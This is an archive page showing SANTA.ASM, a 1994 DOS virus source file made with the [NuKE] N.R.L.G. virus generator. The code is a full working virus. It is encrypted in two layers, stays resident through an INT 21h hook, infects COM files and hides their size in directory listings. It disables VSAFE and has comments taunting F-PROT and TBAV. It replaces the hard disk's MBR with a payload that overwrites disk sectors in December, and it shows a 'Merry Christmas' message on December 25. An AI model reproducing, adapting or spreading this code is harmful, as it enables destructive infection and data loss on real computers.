home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / NRLGUPD5.ZIP / SANTA.ZIP / SANTA.ASM next >
Encoding:
Assembly Source File  |  1994-09-04  |  26.6 KB  |  579 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  inc byte ptr [di]
  36. add word ptr [di],07be5h
  37. add byte ptr [di],065h
  38. xor word ptr [di],05a5dh
  39. add byte ptr [di],06ch
  40. add byte ptr [di],04bh
  41. xor word ptr [di],0dcaah
  42. not byte ptr [di] 
  43. not word ptr [di] 
  44. xor byte ptr [di],0f5h
  45. sub byte ptr [di],035h
  46. add word ptr [di],06c5h
  47. add word ptr [di],02d2ah
  48.  inc di
  49. inc di
  50. ;----------------------------------------------------------                                                
  51. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  52. mov ah,4ch
  53. int 21h
  54. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  55. ;-----------------------------------------------------------                               
  56. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  57. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  58. ;----------------------------------------------------------                                   
  59. loop deci                    ;repeat please!               
  60.                              ;           
  61. ;*****************************************************************
  62. ;                   #2 DECRYPT ROUTINE                                                    
  63. ;*****************************************************************
  64.                               ;    
  65. crypt:                        ;fuck label!                  
  66.                               ;                
  67. mov cx,offset fin             ;cx = large of virus                 
  68. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  69. ;---------------------------------------------------------------                                              
  70. deci2:                        ;              
  71. xor byte ptr cs:[di],1        ;decrytion rutine          
  72. inc di                        ;very simple...            
  73. loop deci2                    ;           
  74. ;---------------------------------------------------------------
  75. crypt2:                       ;fuck label!          
  76.                               ;                  
  77. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  78. INT 21H                       ;for chek "I'm is residet?"   
  79. CMP Bh,0CAH                   ;is equal to CACA?
  80. JE PUM2                       ;yes! jump to runnig program
  81. call action
  82. ;*****************************************************************
  83. ; NRLG FUNCTIONS  (SELECTABLE)
  84. ;*****************************************************************
  85.  
  86.  call MBR
  87. call ANTI_V
  88. ;****************************************************************
  89. ;               PROCESS TO REMAIN RESIDENT                                                                  
  90. ;****************************************************************   
  91.  
  92. mov   ax,3521h                  
  93. int   21h                        ;store the int 21 vectors 
  94. mov   word ptr [bp+int21],bx     ;in cs:int21
  95. mov   word ptr [bp+int21+2],es   ;
  96. ;---------------------------------------------------------------
  97. push cs                          ; 
  98. pop ax                           ;ax = my actual segment                             
  99. dec ax                           ;dec my segment for look my MCB
  100. mov es,ax                        ;
  101. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  102. ;---------------------------------------------------------------
  103. push cs                          ;   
  104. pop es                           ;   
  105. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  106. sub bx,17 + offset fin           ;and 100H for the PSP total
  107. mov ah,4ah                       ;used memory
  108. int 21h                          ;put the new value to MCB
  109. ;---------------------------------------------------------------
  110. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  111. mov ah,48h                      ;                              
  112. int 21h                         ;request the memory to fuck DOS!                                                 
  113. ;---------------------------------------------------------------
  114. dec ax                          ;ax=new segment 
  115. mov es,ax                       ;ax-1= new segment MCB 
  116. mov byte ptr es:[1],8           ;put '8' in the segment
  117. ;--------------------------------------------------------------                                
  118. inc ax                          ; 
  119. mov es,ax                       ;es = new segment
  120. lea si,[bp + offset start]      ;si = start of virus 
  121. mov di,100h                     ;di = 100H (psp position) 
  122. mov cx,offset fin - start       ;cx = lag of virus
  123. push cs                         ;
  124. pop ds                          ;ds = cs
  125. cld                             ;mov the code
  126. rep movsb                       ;ds:si >> es:di
  127. ;--------------------------------------------------------------
  128. mov dx,offset virus             ;dx = new int21 handler
  129. mov ax,2521h                    ;
  130. push es                         ; 
  131. pop ds                          ; 
  132. int 21h                         ;set the vectors 
  133. ;-------------------------------------------------------------
  134. pum2:                               ;  
  135.                                     ; 
  136. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  137. mov byte ptr cs:[100h],ah           ;first bytes  
  138. mov ax,word ptr [cs:bp + real + 1]  ;
  139. mov word ptr cs:[101h],ax           ;
  140. ;-------------------------------------------------------------
  141. mov ax,100h                         ;
  142. jmp ax                              ;jmp to execute
  143.                                     ;
  144. ;*****************************************************************
  145. ;*             HANDLER FOR THE INT 21H                                       
  146. ;*****************************************************************
  147.                           ;          
  148. VIRUS:                    ;  
  149.                           ;     
  150. cmp ah,4bh                ;is a 4b function? 
  151. je REPRODUCCION           ;yes! jump to reproduce !
  152. cmp ah,11h
  153. je dir
  154. cmp ah,12h
  155. je dir
  156. dirsal:
  157. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  158. jne a3                    ;no! jump to a3
  159. mov bh,0cah               ;yes! put ca in bh
  160. a3:                       ;
  161. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  162. ret                       ;    
  163. make db '[NuKE] N.R.L.G. AZRAEL'
  164. dir:
  165. jmp dir_s
  166. ;-------------------------------------------------------------
  167. REPRODUCCION:              ;       
  168.                            ;
  169. pushf                      ;put the register
  170. pusha                      ;in the stack
  171. push si                    ;
  172. push di                    ;
  173. push bp                    ;
  174. push es                    ;
  175. push ds                    ;
  176. ;-------------------------------------------------------------
  177. push cs                    ;  
  178. pop ds                     ;  
  179. mov ax,3524H               ;get the dos error control                      
  180. int 21h                    ;interupt                        
  181. mov word ptr error,es      ;and put in cs:error                      
  182. mov word ptr error+2,bx    ;            
  183. mov ax,2524H               ;change the dos error control                    
  184. mov dx,offset all          ;for my "trap mask"                      
  185. int 21h                    ;         
  186. ;-------------------------------------------------------------
  187. pop ds                     ;
  188. pop es                     ;restore the registers
  189. pop bp                     ;
  190. pop di                     ;
  191. pop si                     ;
  192. popa                       ;
  193. popf                       ;
  194. ;-------------------------------------------------------------
  195. pushf                      ;put the registers
  196. pusha                      ;     
  197. push si                    ;HEY! AZRAEL IS CRAZY?
  198. push di                    ;PUSH, POP, PUSH, POP
  199. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  200. push es                    ;PURIFY THIS SHIT!
  201. push ds                    ;
  202. ;-------------------------------------------------------------
  203. mov ax,4300h                 ;       
  204. int 21h                      ;get the file     
  205. mov word ptr cs:[attrib],cx  ;atributes   
  206. ;-------------------------------------------------------------
  207. mov ax,4301h                 ;le saco los atributos al        
  208. xor cx,cx                    ;file 
  209. int 21h                      ;
  210. ;-------------------------------------------------------------  
  211. mov ax,3d02h                 ;open the file 
  212. int 21h                      ;for read/write
  213. mov bx,ax                    ;bx=handle
  214. ;-------------------------------------------------------------
  215. mov ax,5700h                ;     
  216. int 21h                     ;get the file date  
  217. mov word ptr cs:[hora],cx   ;put the hour    
  218. mov word ptr cs:[dia],dx    ;put the day    
  219. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  220. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  221. jne seguir                  ;yes! the file is infected!     
  222. jmp cerrar                  ;
  223. ;------------------------------------------------------------
  224. seguir:                     ;     
  225. mov ax,4202h                ;move the pointer to end
  226. call movedor                ;of the file
  227. ;------------------------------------------------------------
  228. push cs                     ;   
  229. pop ds                      ; 
  230. sub ax,3                    ;calculate the 
  231. mov word ptr [cs:largo],ax  ;jmp long
  232. ;-------------------------------------------------------------
  233. mov ax,04200h               ;move the pointer to  
  234. call movedor                ;start of file
  235. ;----------------------------------------------------------                                          
  236. push cs                     ;   
  237. pop ds                      ;read the 3 first bytes  
  238. mov ah,3fh                  ;                           
  239. mov cx,3                    ;
  240. lea dx,[cs:real]            ;put the bytes in cs:[real]
  241. int 21h                     ;
  242. ;----------------------------------------------------------                                          
  243. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  244. jne er1                         ;yes! is a EXE... fuckkk!
  245. ;----------------------------------------------------------
  246. jmp cerrar
  247. er1:
  248. ;----------------------------------------------------------                                          
  249. mov ax,4200h      ;move the pointer                               
  250. call movedor      ;to start fo file
  251. ;----------------------------------------------------------                                          
  252. push cs           ;       
  253. pop ds            ; 
  254. mov ah,40h        ;  
  255. mov cx,1          ;write the JMP
  256. lea dx,[cs:jump]  ;instruccion in the
  257. int 21h           ;fist byte of the file
  258. ;----------------------------------------------------------                                          
  259. mov ah,40h         ;write the value of jmp
  260. mov cx,2           ;in the file 
  261. lea dx,[cs:largo]  ; 
  262. int 21h            ;
  263. ;----------------------------------------------------------                                          
  264. mov ax,04202h      ;move the pointer to 
  265. call movedor       ;end of file
  266. ;----------------------------------------------------------                                          
  267. push cs                     ;        
  268. pop ds                      ;move the code  
  269. push cs                     ;of my virus      
  270. pop es                      ;to cs:end+50     
  271. cld                         ;for encrypt          
  272. mov si,100h                 ;    
  273. mov di,offset fin + 50      ;      
  274. mov cx,offset fin - 100h    ;        
  275. rep movsb                   ;      
  276. ;----------------------------------------------------------                                          
  277. mov cx,offset fin           
  278. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  279. enc:                              ;           
  280. xor byte ptr cs:[di],1            ;encrypt the virus              
  281. inc di                            ;code                   
  282. loop enc                          ;              
  283. ;---------------------------------------------------------
  284. mov cx,offset fin           
  285. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  286. mov dx,1
  287. enc2:                              ;           
  288.  
  289.  sub word ptr [di],02d2ah
  290. sub word ptr [di],06c5h
  291. add byte ptr [di],035h
  292. xor byte ptr [di],0f5h
  293. not word ptr [di]
  294. not byte ptr [di]
  295. xor word ptr [di],0dcaah
  296. sub byte ptr [di],04bh
  297. sub byte ptr [di],06ch
  298. xor word ptr [di],05a5dh
  299. sub byte ptr [di],065h
  300. sub word ptr [di],07be5h
  301. dec byte ptr [di]
  302.  inc di
  303. inc di                             ;the virus code                  
  304. loop enc2                          ;              
  305. ;--------------------------------------------
  306. mov ah,40h                       ;  
  307. mov cx,offset fin - offset start ;copy the virus              
  308. mov dx,offset fin + 50           ;to end of file
  309. int 21h                          ;
  310. ;----------------------------------------------------------                                          
  311. cerrar:                          ;
  312.                                  ;restore the       
  313. mov ax,5701h                     ;date and time    
  314. mov cx,word ptr cs:[hora]        ;file   
  315. mov dx,word ptr cs:[dia]         ;     
  316. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  317. int 21h                          ; 
  318. ;----------------------------------------------------------                                          
  319. mov ah,3eh                       ; 
  320. int 21h                          ;close the file
  321. ;----------------------------------------------------------                                          
  322. pop ds                           ;
  323. pop es                           ;restore the 
  324. pop bp                           ;registers
  325. pop di                           ; 
  326. pop si                           ;
  327. popa                             ;
  328. popf                             ;
  329. ;----------------------------------------------------------                                          
  330. pusha                           ;   
  331.                                 ;                                                             
  332. mov ax,4301h                    ;restores the atributes 
  333. mov cx,word ptr cs:[attrib]     ;of the file  
  334. int 21h                         ;   
  335.                                 ;
  336. popa                            ; 
  337. ;----------------------------------------------------------                                          
  338. pushf                           ;                           
  339. pusha                           ; 8-(  = f-prot                       
  340. push si                         ;                       
  341. push di                         ; 8-(  = tbav   
  342. push bp                         ;                       
  343. push es                         ; 8-)  = I'm                        
  344. push ds                         ;                              
  345. ;----------------------------------------------------------                                          
  346. mov ax,2524H                    ;                         
  347. lea bx,error                    ;restore the                         
  348. mov ds,bx                       ;errors handler      
  349. lea bx,error+2                  ;                         
  350. int 21h                         ;                       
  351. ;----------------------------------------------------------                                          
  352. pop ds                          ;
  353. pop es                          ;
  354. pop bp                          ;restore the 
  355. pop di                          ;resgisters
  356. pop si                          ;
  357. popa                            ;
  358. popf                            ;
  359. ;----------------------------------------------------------                                          
  360. JMP A3                          ;jmp to orig. INT 21
  361.                                 ;
  362. ;**********************************************************
  363. ;           SUBRUTINES AREA
  364. ;**********************************************************
  365.                                 ;
  366. movedor:                        ;   
  367.                                 ; 
  368. xor cx,cx                       ;use to move file pointer         
  369. xor dx,dx                       ;       
  370. int 21h                         ;        
  371. ret                             ;        
  372. ;----------------------------------------------------------                                          
  373. all:                            ;  
  374.                                 ; 
  375. XOR AL,AL                       ;use to set 
  376. iret                            ;error flag
  377.  
  378. ;***********************************************************
  379. ;         DATA AREA
  380. ;***********************************************************
  381. largo  dw  ?
  382. jump   db  0e9h
  383. real   db  0cdh,20h,0
  384. hora   dw  ?
  385. dia    dw  ?
  386. attrib dw  ?
  387. int21  dd  ?
  388. error  dd  ?
  389.  
  390.  ;---------------------------------
  391. action:                          ;Call label      
  392. MOV AH,2AH                       ;        
  393. INT 21H                          ;get date           
  394. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  395. JE  cont                         ;nop! fuck ret          
  396. cmp byte ptr cs:[action_dia+bp],32  ;
  397. jne no_day                       ;
  398. cont:                            ; 
  399. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  400. je set                           ;
  401. cmp byte ptr cs:[action_mes+bp],13  ;
  402. jne NO_DAY                       ;nop! fuck ret           
  403. set:                             ; 
  404. mov AH,9                         ;yeah!!          
  405. MOV DX,OFFSET PAO                ;print my text!         
  406. INT 21H                          ;now!   
  407. INT 20H                          ;an finsh te program        
  408. NO_DAY:                          ;label to incorrect date              
  409. ret                              ;return from call 
  410. ;---------------------------------
  411.  
  412.  
  413. PAO:
  414. DB 10,13,'Merry Christmas!                                Santa..','$'
  415.  
  416. MBR:
  417. ;**************************************
  418. ;    Start of MBR-BOMB writing
  419. ;**************************************
  420. mov ax,9f80h                ;very high memory                   
  421. mov es,ax                   ;good for buffer                
  422. mov ax,0201h                ;read the original         
  423. mov cx,0001h                ;MBR of the disk           
  424. mov dx,0080h                ;              
  425. xor bx,bx                   ;to buffer 9f80:0000h                       
  426. int 13h                     ;           
  427. push cs                     ; 
  428. pop ds                      ; 
  429. mov ax,9f80h                ;add my MBR-BOMB                                    
  430. mov es,ax                   ;to real MBR in my       
  431. mov si,offset fat           ;buffer              
  432. xor di,di                   ;                   
  433. mov cx,105                  ;ds:[fat]=>9f80:0000h
  434. repe movsb                  ;total 105bytes                   
  435. mov ax,9f80h                ;   
  436. mov es,ax                   ;   
  437. xor bx,bx                   ;replace the original    
  438. mov ax,0301h                ;MBR in the disk by the
  439. xor ch,ch                   ;new MBR-BOMB.  
  440. mov dx,0080h                ;
  441. mov cl,1                    ;WARNING! VSAFE/MSAVE 
  442. mov bx,0                    ;NOTIFY THIS ACTION 
  443. int 13h                     ; 
  444. ret                         ;
  445. ;---------------------------------------------------
  446. ;*********************      
  447. ; Start of MBR code          
  448. ;*********************        
  449. fat:                              ;       
  450. cli                               ;#       
  451. xor     ax,ax                     ;#     
  452. mov     ss,ax                     ;#       
  453. mov     sp,7C00h                  ;#        
  454. mov     si,sp                     ;#        
  455. push    ax                        ;#    
  456. pop     es                        ;# 
  457. push    ax                        ;# 
  458. pop     ds                        ;#     
  459. sti                               ;#
  460.                                   ;#   
  461. pushf                             ;#   
  462. push ax                           ;# 
  463. push cx                           ;# = This code be in the
  464. push dx                           ;#   original MBR
  465. push ds                           ;#   (NOT MODIFY)
  466. push es                           ;#   
  467. MOV AH,04H                        ; Read real tyme                       
  468. INT 1AH                           ; Clock          
  469. CMP DH,cs:byte ptr action_mes     ; is Month?     
  470. JE CAGO                           ; yes! SNIF SNIF HD. 
  471. lit:
  472. pop es
  473. pop ds
  474. pop dx  
  475. pop cx
  476. pop ax
  477. popf
  478. jmp booti
  479. CAGO:
  480. ;++++++++++++++++++++++++++++++++++++++++++++++++++++
  481. ; START OF YOUR DESTRUCTIVE CODE (or not destructive)
  482. ;++++++++++++++++++++++++++++++++++++++++++++++++++++
  483.  
  484. rip_hd:                            
  485.                               ;@                                  
  486.                 xor dx, dx    ;@                
  487. rip_hd1:                      ;@
  488.         mov cx, 2     ;@                 
  489.         mov ax, 311h  ;@    
  490.         mov dl, 80h   ;@             
  491.         mov bx, 5000h ;@       
  492.         mov es, bx    ;@ 
  493.         int 13h       ;@          
  494.         jae rip_hd2   ;@         
  495.         xor ah, ah    ;@       
  496.         int 13h       ;@       
  497.         rip_hd2:      ;@        
  498.         inc dh        ;@        
  499.         cmp dh, 4     ;@                
  500.         jb rip_hd1    ;@ 
  501.         inc ch        ;@        
  502.         jmp rip_hd            
  503.  
  504. ;+++++++++++++++++++++++++++++++++++++++++++
  505. ;       END OF YOUR DESTRUCUTIVE  CODE
  506. ;+++++++++++++++++++++++++++++++++++++++++++
  507. booti:
  508. xor ax,ax     ;#         
  509. mov es,ax     ;#       
  510. mov bx,7c00h  ;#             
  511. mov ah,02     ;#          
  512. mov al,1      ;#         
  513. mov cl,1      ;# #= This code be       
  514. mov ch,0      ;#    in the original        
  515. mov dh,1      ;#    MBR    
  516. mov dl,80h    ;#    (NOT MODIFY)   
  517.               ;#             
  518. int 13h       ;#                
  519.               ;#          
  520. db 0eah,00,7ch,00,00 ;#    
  521. ;*******************
  522. ; END OF MBR CODE
  523. ;*******************
  524.  
  525.  ;---------------------------------
  526. ANTI_V:                          ; 
  527. MOV AX,0FA01H                    ;REMOVE VSAFE FROM MEMORY        
  528. MOV DX,5945H                     ; 
  529. INT 21H                          ;           
  530. ret                              ;
  531. ;---------------------------------
  532.  
  533.  ;*****************************************************
  534. dir_s:                                                               
  535.              pushf                                                         
  536.              push    cs                                                    
  537.              call    a3                      ;Get file Stats                       
  538.              test    al,al                   ;Good FCB?                            
  539.              jnz     no_good                 ;nope                                 
  540.              push    ax                                                 
  541.              push    bx                                                    
  542.              push    es                                                    
  543.              mov     ah,51h                  ;Is this Undocmented? huh...          
  544.              int     21h                                                   
  545.              mov     es,bx                                                 
  546.              cmp     bx,es:[16h]                                           
  547.              jnz     not_infected                        
  548.              mov     bx,dx                                                 
  549.              mov     al,[bx]                                               
  550.              push    ax                                                    
  551.              mov     ah,2fh                   ;Get file DTA                         
  552.              int     21h                                                   
  553.              pop     ax                                                    
  554.              inc     al                                                    
  555.              jnz     fcb_okay                                              
  556.              add     bx,7h                                                 
  557. fcb_okay:    mov     ax,es:[bx+17h]                                   
  558.              and     ax,1fh                   ;UnMask Seconds Field                 
  559.              xor     al,byte ptr cs:fechad                                      
  560.              jnz     not_infected                                            
  561.              and     byte ptr es:[bx+17h],0e0h                            
  562.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  563.              sbb     es:[bx+1fh],ax                                        
  564. not_infected:pop     es                                                    
  565.              pop     bx                                                    
  566.              pop     ax                                                    
  567. no_good:     iret                                                          
  568. ;********************************************************************
  569. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  570. ;*********************************************************************
  571.  
  572.  action_dia Db 019H ;day for the action
  573. action_mes Db 0cH ;month for the action
  574. FECHA DW 01eH ;Secon for mark
  575. FECHAd Db 01eH ;Secon for mark dir st
  576. fin:
  577. code ends
  578. end start
  579.